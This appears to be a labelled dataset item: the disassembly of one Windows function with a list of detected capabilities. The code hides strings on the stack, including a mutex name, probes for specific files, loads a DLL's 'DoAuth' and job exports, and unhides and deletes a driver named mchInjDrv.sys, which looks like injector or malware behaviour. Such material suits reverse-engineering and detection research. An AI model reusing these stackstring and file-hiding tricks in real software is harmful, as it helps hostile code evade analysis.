Function at 0x401060
Capabilities:
Check mutex on windows
Contain obfuscated stackstrings
Create thread
Delete file
Get common file path
Print debug messages
Read file via mapping
Set file attributes

Disassembly:
mov eax, 0x1290
call fcn.00403680
push ebx
push ebp
push esi
push edi
lea ecx, [esp + 0x184]
call fcn.00403080
lea ecx, [esp + 0x184]
call fcn.004030e0
push 0x30
lea ecx, [esp + 0x188]
call fcn.00403190
lea eax, [esp + 0x3c]
xor ebp, ebp
push eax
mov bl, 0x44
push 1
push ebp
mov byte [esp + 0x48], 0x47
mov byte [esp + 0x49], 0x6c
mov byte [esp + 0x4a], 0x6f
mov byte [esp + 0x4b], 0x62
mov byte [esp + 0x4c], 0x61
mov byte [esp + 0x4d], 0x6c
mov byte [esp + 0x4e], 0x5c
mov byte [esp + 0x4f], 0x49
mov byte [esp + 0x50], 0x43
mov byte [esp + 0x51], 0x53
mov byte [esp + 0x52], 0x45
mov byte [esp + 0x53], 0x54
mov byte [esp + 0x54], 0x49
mov byte [esp + 0x55], 0x4e
mov byte [esp + 0x56], 0x5f
mov byte [esp + 0x57], 0x40
mov byte [esp + 0x58], 0x40
mov byte [esp + 0x59], 0x40
mov byte [esp + 0x5a], 0x5f
mov byte [esp + 0x5b], 0x32
mov byte [esp + 0x5c], 0x30
mov byte [esp + 0x5d], 0x30
mov byte [esp + 0x5e], 0x36
mov byte [esp + 0x5f], 0x5f
mov byte [esp + 0x60], 0x42
mov byte [esp + 0x61], 0x59
mov byte [esp + 0x62], 0x5f
mov byte [esp + 0x63], bl
mov byte [esp + 0x64], 0x4c
mov byte [esp + 0x65], 0x53
mov byte [esp + 0x66], 0x52
mov byte [esp + 0x67], 0x4b
mov byte [esp + 0x68], 0x51
mov byte [esp + 0x69], 0x54
mov byte [esp + 0x6a], 0x4d
mov byte [esp + 0x6b], bl
mov byte [esp + 0x6c], 0x55
mov byte [esp + 0x6d], bl
mov byte [esp + 0x6e], 0x57
mov byte [esp + 0x6f], 0x4e
mov byte [esp + 0x70], 0x53
mov byte [esp + 0x71], 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
je 0x402624
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x402624
mov ecx, 0x25
xor eax, eax
lea edi, [esp + 0xd08]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0xd08]
mov dword [esp + 0xd08], 0x94
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [esp + 0xd18], 1
jne 0x4011df
lea ecx, [esp + 0x184]
call fcn.004030c0
pop edi
pop esi
pop ebp
mov eax, 0xb
pop ebx
add esp, 0x1290
ret 0x10
push ebp
push 0x100
call dword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileA]
push ebp
push ebp
push 3
push ebp
push 3
lea edx, [esp + 0x94]
push SysReAllocStringLen
push edx
mov dword [esp + 0x38], ebp
mov byte [esp + 0x9c], 0x63
mov byte [esp + 0x9d], 0x3a
mov byte [esp + 0x9e], 0x5c
mov byte [esp + 0x9f], 0x73
mov byte [esp + 0xa0], 0x64
mov byte [esp + 0xa1], 0x65
mov byte [esp + 0xa2], 0x36
mov byte [esp + 0xa3], 0x5c
mov byte [esp + 0xa4], 0x62
mov byte [esp + 0xa5], 0x69
mov byte [esp + 0xa6], 0x6e
mov byte [esp + 0xa7], 0x5c
mov byte [esp + 0xa8], 0x73
mov byte [esp + 0xa9], 0x64
mov byte [esp + 0xaa], 0x65
mov byte [esp + 0xab], 0x2d
mov byte [esp + 0xac], 0x6d
mov byte [esp + 0xad], 0x61
mov byte [esp + 0xae], 0x6b
mov byte [esp + 0xaf], 0x65
mov byte [esp + 0xb0], 0x2e
mov byte [esp + 0xb1], 0x65
mov byte [esp + 0xb2], 0x78
mov byte [esp + 0xb3], 0x65
mov byte [esp + 0xb4], 0
call edi
mov esi, eax
cmp esi, 0xffffffff
jne 0x4013d7
push ebp
push ebp
push 3
push ebp
push 3
lea eax, [esp + 0x94]
push SysReAllocStringLen
push eax
mov byte [esp + 0x9c], 0x63
mov byte [esp + 0x9d], 0x3a
mov byte [esp + 0x9e], 0x5c
mov byte [esp + 0x9f], 0x45
mov byte [esp + 0xa0], 0x50
mov byte [esp + 0xa1], 0x53
mov byte [esp + 0xa2], 0x4f
mov byte [esp + 0xa3], 0x4e
mov byte [esp + 0xa4], 0x5c
mov byte [esp + 0xa5], 0x47
mov byte [esp + 0xa6], 0x4e
mov byte [esp + 0xa7], 0x55
mov byte [esp + 0xa8], 0x33
mov byte [esp + 0xa9], 0x33
mov byte [esp + 0xaa], 0x5c
mov byte [esp + 0xab], 0x63
mov byte [esp + 0xac], 0x79
mov byte [esp + 0xad], 0x67
mov byte [esp + 0xae], 0x77
mov byte [esp + 0xaf], 0x69
mov byte [esp + 0xb0], 0x6e
mov byte [esp + 0xb1], 0x31
mov byte [esp + 0xb2], 0x2e
mov byte [esp + 0xb3], 0x64
mov byte [esp + 0xb4], 0x6c
mov byte [esp + 0xb5], 0x6c
mov byte [esp + 0xb6], 0
call edi
mov esi, eax
cmp esi, 0xffffffff
je 0x4014dd
lea ecx, [esp + 0x80]
push 0x104
push ecx
mov dword [esp + 0x24], 1
mov byte [esp + 0x1b0], 0x5c
mov byte [esp + 0x1b1], 0x64
mov byte [esp + 0x1b2], 0x72
mov byte [esp + 0x1b3], 0x69
mov byte [esp + 0x1b4], 0x76
mov byte [esp + 0x1b5], 0x65
mov byte [esp + 0x1b6], 0x72
mov byte [esp + 0x1b7], 0x73
mov byte [esp + 0x1b8], 0x5c
mov byte [esp + 0x1b9], 0x6d
mov byte [esp + 0x1ba], 0x63
mov byte [esp + 0x1bb], 0x68
mov byte [esp + 0x1bc], 0x49
mov byte [esp + 0x1bd], 0x6e
mov byte [esp + 0x1be], 0x6a
mov byte [esp + 0x1bf], bl
mov byte [esp + 0x1c0], 0x72
mov byte [esp + 0x1c1], 0x76
mov byte [esp + 0x1c2], 0x2e
mov byte [esp + 0x1c3], 0x73
mov byte [esp + 0x1c4], 0x79
mov byte [esp + 0x1c5], 0x73
mov byte [esp + 0x1c6], 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edx, [esp + 0x1a8]
lea eax, [esp + 0x80]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push ebp
push 1
push 4
push ebp
push 3
lea ecx, [esp + 0x94]
push 0x40000000
push ecx
call edi
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x41
xor eax, eax
mov edx, dword [esp + 0x12a4]
lea edi, [esp + 0x80]
push 0x104
push 0x4276e8
rep stosd dword es:[edi], eax
push edx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x4276e8
call fcn.0040730c
push 0x5c
push 0x4276e8
call fcn.00403650
mov byte [eax + 1], 0
mov cl, 0x20
mov al, 0x46
mov dl, 0x34
add esp, 0xc
mov byte [esp + 0x2e0], bl
mov byte [esp + 0x2e1], 0x4b
mov byte [esp + 0x2e2], 0x43
mov byte [esp + 0x2e3], 0x4b
mov byte [esp + 0x2e4], cl
mov byte [esp + 0x2e5], al
mov byte [esp + 0x2e6], 0x4b
mov byte [esp + 0x2e7], 0x4c
mov byte [esp + 0x2e8], dl
mov byte [esp + 0x2e9], cl
mov byte [esp + 0x2ea], cl
mov byte [esp + 0x2eb], 0x2d
mov byte [esp + 0x2ec], al
mov byte [esp + 0x2ed], bl
mov byte [esp + 0x2ee], 0x2d
mov byte [esp + 0x2ef], 0x33
mov byte [esp + 0x2f0], 0x2d
mov byte [esp + 0x2f1], 0x32
mov byte [esp + 0x2f2], 0x3b
mov byte [esp + 0x2f3], bl
mov byte [esp + 0x2f4], 0x2d
mov byte [esp + 0x2f5], 0x33
mov byte [esp + 0x2f6], dl
mov byte [esp + 0x2f7], 0x3b
mov byte [esp + 0x2f8], 0x35
mov byte [esp + 0x2f9], 0x3b
mov byte [esp + 0x2fa], al
mov byte [esp + 0x2fb], al
mov byte [esp + 0x2fc], cl
mov byte [esp + 0x2fd], 0
mov byte [esp + 0x3e4], 0x41
mov byte [esp + 0x3e5], 0x58
mov byte [esp + 0x3e6], 0x30
mov byte [esp + 0x3e7], 0x43
mov byte [esp + 0x3e8], 0x30
mov byte [esp + 0x3e9], dl
mov byte [esp + 0x3ea], 0x30
mov byte [esp + 0x3eb], 0x40
mov byte [esp + 0x3ec], 0x24
mov byte [esp + 0x3ed], 0x25
mov byte [esp + 0x3ee], 0x26
mov byte [esp + 0x3ef], 0x5e
mov byte [esp + 0x3f0], 0x67
mov byte [esp + 0x3f1], 0x64
mov byte [esp + 0x3f2], 0x64
mov byte [esp + 0x3f3], 0x57
mov byte [esp + 0x3f4], cl
mov byte [esp + 0x3f5], 0x35
mov byte [esp + 0x3f6], 0x32
mov byte [esp + 0x3f7], 0
mov byte [esp + 0x4e8], 0x31
mov byte [esp + 0x4e9], 0x33
mov byte [esp + 0x4ea], dl
mov byte [esp + 0x4eb], 0x35
mov byte [esp + 0x4ec], 0x36
mov byte [esp + 0x4ed], cl
mov byte [esp + 0x4ee], 0x56
mov byte [esp + 0x4ef], al
mov byte [esp + 0x4f0], al
mov byte [esp + 0x4f1], bl
mov byte [esp + 0x4f2], 0x4b
mov byte [esp + 0x4f3], cl
mov byte [esp + 0x4f4], 0x78
mov byte [esp + 0x4f5], 0x63
mov byte [esp + 0x4f6], 0x66
mov byte [esp + 0x4f7], 0x52
mov byte [esp + 0x4f8], 0x4b
mov byte [esp + 0x4f9], 0x49
mov byte [esp + 0x4fa], 0x43
mov byte [esp + 0x4fb], 0x2e
mov byte [esp + 0x4fc], 0x53
mov byte [esp + 0x4fd], 0x4c
mov byte [esp + 0x4fe], 0x45
mov byte [esp + 0x4ff], 0x4c
mov byte [esp + 0x500], 0x41
mov byte [esp + 0x501], 0x53
mov byte [esp + 0x502], bl
mov byte [esp + 0x503], dl
mov byte [esp + 0x504], al
mov byte [esp + 0x505], al
mov byte [esp + 0x506], cl
mov byte [esp + 0x507], 0x26
mov byte [esp + 0x508], 0x2a
mov byte [esp + 0x509], 0x62
mov byte [esp + 0x50a], 0
mov byte [esp + 0x5ec], 0x66
mov byte [esp + 0x5ed], bl
mov byte [esp + 0x5ee], 0x45
mov byte [esp + 0x5ef], al
mov byte [esp + 0x5f0], bl
mov byte [esp + 0x5f1], 0x42
mov byte [esp + 0x5f2], cl
mov byte [esp + 0x5f3], 0x67
mov byte [esp + 0x5f4], 0x62
mov byte [esp + 0x5f5], 0x23
mov byte [esp + 0x5f6], al
mov byte [esp + 0x5f7], al
mov byte [esp + 0x5f8], 0x52
mov byte [esp + 0x5f9], dl
mov byte [esp + 0x5fa], bl
mov byte [esp + 0x5fb], bl
mov byte [esp + 0x5fc], 0x58
mov byte [esp + 0x5fd], bl
mov byte [esp + 0x5fe], 0x58
mov byte [esp + 0x5ff], 0x63
mov byte [esp + 0x600], 0x76
mov byte [esp + 0x601], 0x76
mov byte [esp + 0x602], cl
mov byte [esp + 0x603], 0x28
mov byte [esp + 0x604], 0
mov byte [esp + 0x6f0], 0x2a
mov byte [esp + 0x6f1], 0x69
mov byte [esp + 0x6f2], 0x75
mov byte [esp + 0x6f3], 0x68
mov byte [esp + 0x6f4], 0x67
mov byte [esp + 0x6f5], 0x24
mov byte [esp + 0x6f6], cl
mov byte [esp + 0x6f7], 0x72
mov byte [esp + 0x6f8], 0x66
mov byte [esp + 0x6f9], 0x6a
mov byte [esp + 0x6fa], 0x68
mov byte [esp + 0x6fb], 0x67
mov byte [esp + 0x6fc], 0x35
mov byte [esp + 0x6fd], 0x36
mov byte [esp + 0x6fe], cl
mov byte [esp + 0x6ff], 0x54
mov byte [esp + 0x700], 0x47
mov byte [esp + 0x701], 0x55
mov byte [esp + 0x702], 0x48
mov byte [esp + 0x703], 0x47
mov byte [esp + 0x704], al
mov byte [esp + 0x705], 0x33
mov byte [esp + 0x706], 0x45
mov byte [esp + 0x707], 0x29
mov byte [esp + 0x708], 0
mov byte [esp + 0x7f4], 0x70
mov byte [esp + 0x7f5], 0x6f
mov byte [esp + 0x7f6], 0x69
mov byte [esp + 0x7f7], 0x75
mov byte [esp + 0x7f8], 0x79
mov byte [esp + 0x7f9], 0x74
mov byte [esp + 0x7fa], 0x72
mov byte [esp + 0x7fb], 0x65
mov byte [esp + 0x7fc], 0x6c
mov byte [esp + 0x7fd], 0x6b
mov byte [esp + 0x7fe], 0x6a
mov byte [esp + 0x7ff], 0x68
mov byte [esp + 0x800], 0x67
mov byte [esp + 0x801], 0x66
mov byte [esp + 0x802], 0x6d
mov byte [esp + 0x803], 0x6e
mov byte [esp + 0x804], 0x62
mov byte [esp + 0x805], 0x26
mov byte [esp + 0x806], 0x2a
mov byte [esp + 0x807], 0x55
mov byte [esp + 0x808], 0x48
mov byte [esp + 0x809], 0x49
mov byte [esp + 0x80a], 0x4a
mov byte [esp + 0x80b], 0x48
mov byte [esp + 0x80c], 0x42
mov byte [esp + 0x80d], cl
mov byte [esp + 0x80e], 0x36
mov byte [esp + 0x80f], 0x35
mov byte [esp + 0x810], 0x24
mov byte [esp + 0x811], 0x23
mov byte [esp + 0x812], 0x64
mov byte [esp + 0x813], cl
mov byte [esp + 0x814], 0x64
mov byte [esp + 0x815], 0x23
mov byte [esp + 0x816], 0x77
mov byte [esp + 0x817], 0x65
mov byte [esp + 0x818], 0x73
mov byte [esp + 0x819], 0x66
mov byte [esp + 0x81a], 0x74
mov byte [esp + 0x81b], 0x24
mov byte [esp + 0x81c], 0x25
mov byte [esp + 0x81d], cl
mov byte [esp + 0x81e], 0x41
mov byte [esp + 0x81f], 0
mov byte [esp + 0x8f8], 0x53
mov byte [esp + 0x8f9], bl
mov byte [esp + 0x8fa], al
mov byte [esp + 0x8fb], 0x41
mov byte [esp + 0x8fc], bl
mov byte [esp + 0x8fd], 0x53
mov byte [esp + 0x8fe], cl
mov byte [esp + 0x8ff], al
mov byte [esp + 0x900], 0x41
mov byte [esp + 0x901], 0x37
mov byte [esp + 0x902], 0x38
mov byte [esp + 0x903], 0x49
mov byte [esp + 0x904], 0x4a
mov byte [esp + 0x905], 0x47
mov byte [esp + 0x906], al
mov byte [esp + 0x907], al
mov byte [esp + 0x908], 0x45
mov byte [esp + 0x909], 0x58
mov byte [esp + 0x90a], 0x43
mov byte [esp + 0x90b], 0x43
mov byte [esp + 0x90c], 0x58
mov byte [esp + 0x90d], 0x58
mov byte [esp + 0x90e], bl
mov byte [esp + 0x90f], 0x32
mov byte [esp + 0x910], 0x45
mov byte [esp + 0x911], al
mov byte [esp + 0x912], 0x4a
mov byte [esp + 0x913], 0x48
mov byte [esp + 0x914], 0x4a
mov byte [esp + 0x915], 0
mov byte [esp + 0x9fc], 0x41
mov byte [esp + 0x9fd], cl
mov byte [esp + 0x9fe], 0x53
mov byte [esp + 0x9ff], bl
mov byte [esp + 0xa00], al
mov byte [esp + 0xa01], dl
mov byte [esp + 0xa02], 0x64
mov byte [esp + 0xa03], 0x73
mov byte [esp + 0xa04], 0x66
mov byte [esp + 0xa05], 0x73
mov byte [esp + 0xa06], cl
mov byte [esp + 0xa07], 0x61
mov byte [esp + 0xa08], 0x64
mov byte [esp + 0xa09], 0x23
mov byte [esp + 0xa0a], 0x24
mov byte [esp + 0xa0b], 0x25
mov byte [esp + 0xa0c], 0x5e
mov byte [esp + 0xa0d], 0x24
mov byte [esp + 0xa0e], 0x6a
mov byte [esp + 0xa0f], 0x6a
mov byte [esp + 0xa10], 0x6b
mov byte [esp + 0xa11], 0x6c
mov byte [esp + 0xa12], 0x6f
mov byte [esp + 0xa13], 0x70
mov byte [esp + 0xa14], 0x6c
mov byte [esp + 0xa15], 0x3e
mov byte [esp + 0xa16], 0x3f
mov byte [esp + 0xa17], 0x3c
mov byte [esp + 0xa18], 0x6a
mov byte [esp + 0xa19], cl
mov byte [esp + 0xa1a], cl
mov byte [esp + 0xa1b], cl
mov byte [esp + 0xa1c], 0x29
mov byte [esp + 0xa1d], 0x28
mov byte [esp + 0xa1e], 0
mov byte [esp + 0xb00], 0x2a
mov byte [esp + 0xb01], 0x29
mov byte [esp + 0xb02], 0x5f
mov byte [esp + 0xb03], cl
mov byte [esp + 0xb04], 0x5f
mov byte [esp + 0xb05], 0x29
mov byte [esp + 0xb06], cl
mov byte [esp + 0xb07], 0x2a
mov byte [esp + 0xb08], 0x28
mov byte [esp + 0xb09], 0x25
mov byte [esp + 0xb0a], 0x5e
mov byte [esp + 0xb0b], 0x74
mov byte [esp + 0xb0c], 0x67
mov byte [esp + 0xb0d], 0x67
mov byte [esp + 0xb0e], 0x66
mov byte [esp + 0xb0f], 0x72
mov byte [esp + 0xb10], 0x72
mov byte [esp + 0xb11], 0x64
mov byte [esp + 0xb12], 0x65
mov byte [esp + 0xb13], 0x24
mov byte [esp + 0xb14], 0x35
mov byte [esp + 0xb15], 0x36
mov byte [esp + 0xb16], cl
mov byte [esp + 0xb17], 0x54
mov byte [esp + 0xb18], 0x47
mov byte [esp + 0xb19], al
mov byte [esp + 0xb1a], 0x47
mov byte [esp + 0xb1b], 0x72
mov byte [esp + 0xb1c], 0x72
mov byte [esp + 0xb1d], 0x65
mov byte [esp + 0xb1e], 0x23
mov byte [esp + 0xb1f], 0x65
mov byte [esp + 0xb20], 0x65
mov byte [esp + 0xb21], 0x64
mov byte [esp + 0xb22], 0x72
mov byte [esp + 0xb23], 0x64
mov byte [esp + 0xb24], 0x64
mov byte [esp + 0xb25], cl
mov byte [esp + 0xb26], 0x41
mov byte [esp + 0xb27], 0
mov byte [esp + 0xc04], 0x53
mov byte [esp + 0xc05], bl
mov byte [esp + 0xc06], al
mov byte [esp + 0xc07], 0x41
mov byte [esp + 0xc08], 0x53
mov byte [esp + 0xc09], bl
mov byte [esp + 0xc0a], al
mov byte [esp + 0xc0b], dl
mov byte [esp + 0xc0c], 0x45
mov byte [esp + 0xc0d], 0x57
mov byte [esp + 0xc0e], al
mov byte [esp + 0xc0f], 0x45
mov byte [esp + 0xc10], al
mov byte [esp + 0xc11], 0x47
mov byte [esp + 0xc12], 0x56
mov byte [esp + 0xc13], 0x56
mov byte [esp + 0xc14], 0x56
mov byte [esp + 0xc15], 0x56
mov byte [esp + 0xc16], 0x42
mov byte [esp + 0xc20], al
mov byte [esp + 0xc23], al
mov byte [esp + 0xc24], al
mov byte [esp + 0xc25], al
mov byte [esp + 0xc27], al
xor eax, eax
mov dword [esp + 0x28], eax
push str.GlobalICDCMGRMEMORYMAP
mov dword [esp + 0x30], eax
push ebp
mov dword [esp + 0x38], eax
push 6
mov dword [esp + 0x40], eax
mov byte [esp + 0xc23], 0x56
mov byte [esp + 0xc24], 0x47
mov byte [esp + 0xc25], 0x41
mov byte [esp + 0xc26], bl
mov byte [esp + 0xc27], 0x53
mov byte [esp + 0xc28], 0x47
mov byte [esp + 0xc29], dl
mov byte [esp + 0xc2a], 0x52
mov byte [esp + 0xc2b], 0x47
mov byte [esp + 0xc2d], 0x56
mov byte [esp + 0xc2e], cl
mov byte [esp + 0xc32], cl
mov byte [esp + 0xc34], 0
mov dword [esp + 0x44], eax
mov byte [esp + 0x34], 0x49
mov byte [esp + 0x35], 0x43
mov byte [esp + 0x36], 0x4d
mov byte [esp + 0x37], 0x47
mov byte [esp + 0x38], 0x52
mov byte [esp + 0x39], 0x30
mov byte [esp + 0x3a], 0x2e
mov byte [esp + 0x3b], bl
mov byte [esp + 0x3c], 0x4c
mov byte [esp + 0x3d], 0x4c
mov byte [esp + 0x3e], al
mov dword [esp + 0x1c], ebp
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
mov ebp, eax
test ebp, ebp
je 0x401f90
push 0x1e
push 0
push 0
push 6
push ebp
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ecx, 7
mov esi, eax
lea edi, [esp + 0x2c0]
lea edx, [esp + 0x2c0]
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x10]
mov dword [esp + 0x18], eax
push ecx
push edx
movsw word es:[edi], word [esi]
call section..text
mov eax, dword [esp + 0x20]
add esp, 8
push eax
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
jmp 0x401fa0
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, dword [esp + 0x10]
or al, 3
mov dword [esp + 0x10], eax
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
test eax, eax
jne 0x401fb7
mov dword [esp + 0x10], 1
push 0x4248bc
call dword [fcn.0040361c]
lea ecx, [esp + 0x2e0]
mov ebp, 0x4277f0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], ecx
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x26]
push 0xa
push edx
mov byte [ebp], 0
push eax
mov dword [ebp + 0x108], 0
call fcn.0040716c
mov cl, byte [esp + 0x32]
lea edx, [esp + 0x34]
push edx
push 0x4276e8
lea eax, [esp + 0xdb0]
push str._s_s
push eax
mov byte [esp + 0x49], cl
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x1c
lea ecx, [esp + 0xd9c]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4021ee
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
push edi
call esi
test eax, eax
mov dword [0x4276dc], eax
jne 0x402064
push eax
push str.error
push str.g_pDoAuth
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x4021ee
push 2
push edi
call esi
test eax, eax
mov dword [0x4276e0], eax
jne 0x402089
push eax
push str.error
push str.g_pGetDllName
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x4021ee
push 3
push edi
call esi
test eax, eax
mov dword [0x4276d8], eax
jne 0x4020ae
push eax
push str.error
push str.g_pDoBeforeJob
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x4021ee
push 4
push edi
call esi
test eax, eax
mov dword [0x4276e4], eax
jne 0x4020d3
push eax
push str.error
push str.g_pDoAfterJob
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x4021ee
mov eax, dword [0x4276dc]
test eax, eax
je 0x4021ee
lea edx, [esp + 0x1a8]
push 0x104
push edx
call eax
mov esi, dword [esp + 0x20]
add esp, 8
lea edi, [esp + 0x1a8]
mov cl, byte [edi]
mov dl, byte [esi]
mov al, cl
cmp cl, dl
jne 0x402125
test al, al
je 0x402121
mov dl, byte [edi + 1]
mov cl, byte [esi + 1]
mov al, dl
cmp dl, cl
jne 0x402125
add edi, 2
add esi, 2
test al, al
jne 0x4020fd
xor eax, eax
jmp 0x40212a
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x4021ee
mov eax, dword [0x4276e0]
test eax, eax
je 0x4021ee
lea ecx, [esp + 0x20]
push 0x104
lea edx, [esp + 0xda0]
push ecx
push edx
mov dword [esp + 0x2c], 0xfffffffd
call eax
add esp, 0xc
test eax, eax
je 0x4021ee
lea eax, [esp + 0xd9c]
push eax
push 0x427094
push ebp
call dword [sym.imp.USER32.dll_wsprintfA]
mov eax, dword [0x4276d8]
mov ecx, dword [esp + 0x2c]
add esp, 0xc
mov dword [ebp + 0x104], ecx
test eax, eax
je 0x4021ee
call eax
test eax, eax
je 0x4021ee
cmp byte [ebp], 0
je 0x4021e3
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x10]
mov edi, 1
mov edx, edi
shl edx, cl
test edx, eax
je 0x4021e3
mov eax, dword [ebp + 0x104]
mov esi, dword [0x4035d8]
push 0x1b58
push ebp
push eax
call esi
test eax, eax
jne 0x4021dd
mov ecx, dword [ebp + 0x104]
push 0x1b58
push ebp
push ecx
call esi
test eax, eax
je 0x4021e3
mov dword [ebp + 0x108], edi
mov eax, dword [0x4276e4]
test eax, eax
je 0x4021ee
call eax
mov esi, dword [esp + 0x14]
mov edx, dword [esp + 0x18]
add ebp, 0x10c
inc esi
add edx, 0x104
cmp ebp, 0x428268
mov dword [esp + 0x14], esi
mov dword [esp + 0x18], edx
jl 0x401fda
cmp dword [esp + 0x1c], 1
je 0x40222b
call fcn.00402650
test eax, eax
je 0x40236a
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
lea edx, [esp + 0x1c]
push edx
push 0
push 0
push 0x402800
push 0
push 0
call esi
lea eax, [esp + 0x20]
push eax
push 0
push 0
push 0x402900
push 0
push 0
call esi
lea ecx, [esp + 0x80]
push 0x104
push ecx
mov byte [esp + 0x1b0], 0x5c
mov byte [esp + 0x1b1], 0x64
mov byte [esp + 0x1b2], 0x72
mov byte [esp + 0x1b3], 0x69
mov byte [esp + 0x1b4], 0x76
mov byte [esp + 0x1b5], 0x65
mov byte [esp + 0x1b6], 0x72
mov byte [esp + 0x1b7], 0x73
mov byte [esp + 0x1b8], 0x5c
mov byte [esp + 0x1b9], 0x6d
mov byte [esp + 0x1ba], 0x63
mov byte [esp + 0x1bb], 0x68
mov byte [esp + 0x1bc], 0x49
mov byte [esp + 0x1bd], 0x6e
mov byte [esp + 0x1be], 0x6a
mov byte [esp + 0x1bf], bl
mov byte [esp + 0x1c0], 0x72
mov byte [esp + 0x1c1], 0x76
mov byte [esp + 0x1c2], 0x2e
mov byte [esp + 0x1c3], 0x73
mov byte [esp + 0x1c4], 0x79
mov byte [esp + 0x1c5], 0x73
mov byte [esp + 0x1c6], 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edx, [esp + 0x1a8]
lea eax, [esp + 0x80]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [esp + 0x80]
push 0x80
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea edx, [esp + 0x80]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x80]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x70]
call fcn.00402ec0
mov ecx, 0x25
xor eax, eax
lea edi, [esp + 0xd08]
rep stosd dword es:[edi], eax
lea eax, [esp + 0xd08]
mov dword [esp + 0xd08], 0x94
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [esp + 0xd18], 2
jne 0x4023e9
lea ecx, [esp + 0x70]
mov dword [esp + 0x2bc], 0
call fcn.00402f40
test al, al
je 0x4023e9
lea ecx, [esp + 0x2ac]
push 1
push ecx
call dword [0x427674]
test eax, eax
je 0x4023e9
mov edx, dword [esp + 0x74]
push 0
push edx
lea eax, [esp + 0x2b4]
push 1
push eax
call dword [0x427670]
push str.GlobalEVT_ICDCMGR
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov ebx, eax
test ebx, ebx
mov dword [esp + 0x14], ebx
jne 0x40242b
lea ecx, [esp + 0x70]
call fcn.00402f00
lea ecx, [esp + 0x184]
call fcn.004030c0
pop edi
pop esi
pop ebp
mov eax, 0xc
pop ebx
add esp, 0x1290
ret 0x10
mov dword [esp + 0x20], 1
jmp 0x402439
mov ebx, dword [esp + 0x14]
push 0xffffffffffffffff
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov esi, eax
test esi, esi
jne 0x402568
push str.GlobalICDCMGRMEMORYMAP
push eax
push 6
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
mov ebx, eax
test ebx, ebx
mov dword [esp + 0x1c], ebx
je 0x402559
push 0x1e
push esi
push esi
push 6
push ebx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ecx, 7
mov esi, eax
lea edi, [esp + 0x2c0]
lea edx, [esp + 0x2c0]
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x10]
mov dword [esp + 0x18], eax
push ecx
push edx
movsw word es:[edi], word [esi]
call section..text
add esp, 8
test eax, eax
je 0x402542
xor ebx, ebx
mov esi, 0x4277f0
cmp byte [esi], 0
je 0x40251f
mov eax, dword [esp + 0x10]
mov ebp, 1
mov edi, ebp
mov ecx, ebx
shl edi, cl
test eax, edi
je 0x4024ee
mov eax, dword [esi + 0x108]
test eax, eax
jne 0x4024ee
mov ecx, dword [esi + 0x104]
push 0x1b58
push esi
push ecx
call dword [0x4035d8]
test eax, eax
je 0x4024ee
mov dword [esi + 0x108], ebp
mov edx, dword [esp + 0x10]
test edx, edi
jne 0x40251f
cmp dword [esi + 0x108], ebp
jne 0x40251f
mov eax, dword [esi + 0x104]
push 0x1b58
push esi
push eax
call dword [fcn.0040362c]
test eax, eax
je 0x40251f
mov dword [esi + 0x108], 0
add esi, 0x10c
inc ebx
cmp esi, 0x428268
jl 0x4024af
mov eax, dword [esp + 0x10]
test eax, eax
jne 0x40253e
mov dword [esp + 0x20], 0
mov ebx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4025db
call dword [sym.imp.KERNEL32.dll_GetLastError]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4025db
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push esi
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
lea edx, [esp + 0xea8]
push str.WaitResult_is__d__GetLastError_is__d
push edx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
add esp, 0x10
lea eax, [esp + 0xea0]
push eax
call edi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.GlobalEVT_ICDCMGR
push 0
push 0
push 0
